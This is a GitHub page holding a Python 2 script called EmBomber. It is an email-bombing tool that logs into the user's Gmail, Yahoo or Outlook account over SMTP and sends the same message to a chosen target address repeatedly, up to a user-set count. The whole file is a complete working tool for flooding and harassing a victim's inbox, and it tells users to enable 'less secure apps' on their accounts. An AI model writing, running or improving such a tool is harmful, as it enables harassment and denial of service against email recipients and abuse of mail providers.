forked from MazenElzanaty/EmBomber
-
Notifications
You must be signed in to change notification settings - Fork 0
/
EmBomber.py
152 lines (141 loc) · 4.74 KB
/
EmBomber.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#!/usr/bin/python
import smtplib
import time
import os
import getpass
import sys
class bcolors:
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
def bomb():
os.system('clear')
print bcolors.OKGREEN + '''
\|/
`--+--'
|
,--'#`--.
|#######|
_.-'#######`-._
,-'###############`-.
,'#####################`, .___ .__ .
|#########################| [__ ._ _ [__) _ ._ _ |_ _ ._.
|###########################| [___[ | )[__)(_)[ | )[_)(/,[
|#############################|
|#############################| Author: Mazen Elzanaty
|#############################|
|###########################|
\#########################/
`.#####################,'
`._###############_,'
`--..#####..--' ,-.--.
*.______________________________________________________________,' (Bomb)
`--' ''' + bcolors.ENDC
os.system('clear')
try:
file1 = open('Banner.txt', 'r')
print(' ')
print bcolors.OKGREEN + file1.read() + bcolors.ENDC
file1.close()
except IOError:
print('Banner File not found')
#Input
print(bcolors.WARNING + '''
Choose a Mail Service:
1) Gmail
2) Yahoo
3) Hotmail/Outlook
''' + bcolors.ENDC + '--------------------------------------------------------------')
try:
server = raw_input(bcolors.OKGREEN + 'Mail Server: ' + bcolors.ENDC)
user = raw_input(bcolors.OKGREEN + 'Your Email: ' + bcolors.ENDC)
pwd = getpass.getpass(bcolors.OKGREEN + 'Password: ' + bcolors.ENDC)
to = raw_input(bcolors.OKGREEN + 'To: ' + bcolors.ENDC)
subject = raw_input(bcolors.OKGREEN + 'Subject (Optional): ' + bcolors.ENDC)
body = raw_input(bcolors.OKGREEN + 'Message: ' + bcolors.ENDC)
nomes = input(bcolors.OKGREEN + 'Number of Emails to send: ' + bcolors.ENDC)
no = 0
message = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
except KeyboardInterrupt:
print bcolors.FAIL + '\nCanceled' + bcolors.ENDC
sys.exit()
#Gmail
if server == '1' or server == 'gmail' or server == 'Gmail':
bomb()
server = smtplib.SMTP("smtp.gmail.com", 587)
server.ehlo()
server.starttls()
try:
server.login(user, pwd)
except smtplib.SMTPAuthenticationError:
print bcolors.FAIL + '''Your Username or Password is incorrect, please try again using the correct credentials
Or you need to enable less secure apps
On Gmail: https://myaccount.google.com/lesssecureapps ''' + bcolors.ENDC
sys.exit()
while no != nomes:
try:
server.sendmail(user, to, message)
print bcolors.WARNING + 'Successfully sent ' + str(no+1) + ' emails' + bcolors.ENDC
no += 1
time.sleep(.8)
except KeyboardInterrupt:
print bcolors.FAIL + '\nCanceled' + bcolors.ENDC
sys.exit()
except:
print "Failed to Send "
server.close()
#Yahoo
elif server == '2' or server == 'Yahoo' or server == 'yahoo':
server = smtplib.SMTP("smtp.mail.yahoo.com", 587)
bomb()
server.starttls()
try:
server.login(user, pwd)
except smtplib.SMTPAuthenticationError:
print bcolors.FAIL + '''Your Username or Password is incorrect, please try again using the correct credentials
Or you need to enable less secure apps
On Yahoo: https://login.yahoo.com/account/security?.scrumb=Tiby8TXUvJt#less-secure-apps
''' + bcolors.ENDC
sys.exit()
while no != nomes:
try:
server.sendmail(user, to, message)
print bcolors.WARNING + 'Successfully sent ' + str(no + 1) + ' emails' + bcolors.ENDC
no += 1
time.sleep(.8)
except KeyboardInterrupt:
print bcolors.FAIL + '\nCanceled' + bcolors.ENDC
sys.exit()
except:
print "Failed to Send"
server.close()
#Hotmail/Outlook
elif server == '3' or server == 'outlook' or server == 'Outlook' or server == 'Hotmail' or server == 'hotmail':
server = smtplib.SMTP("smtp-mail.outlook.com", 587)
bomb()
server.ehlo()
server.starttls()
try:
server.login(user, pwd)
except smtplib.SMTPAuthenticationError:
print bcolors.FAIL + 'Your Username or Password is incorrect, please try again using the correct credentials' + bcolors.ENDC
sys.exit()
while no != nomes:
try:
server.sendmail(user, to, message)
print bcolors.WARNING + 'Successfully sent ' + str(no + 1) + ' emails' + bcolors.ENDC
no += 1
time.sleep(.8)
except KeyboardInterrupt:
print bcolors.FAIL + '\nCanceled' + bcolors.ENDC
sys.exit()
except smtplib.SMTPAuthenticationError:
print '\nThe username or password you entered is incorrect.'
sys.exit()
except:
print "Failed to Send "
server.close()
else:
print 'Works only with Gmail, Yahoo, Outlook and Hotmail.'
sys.exit()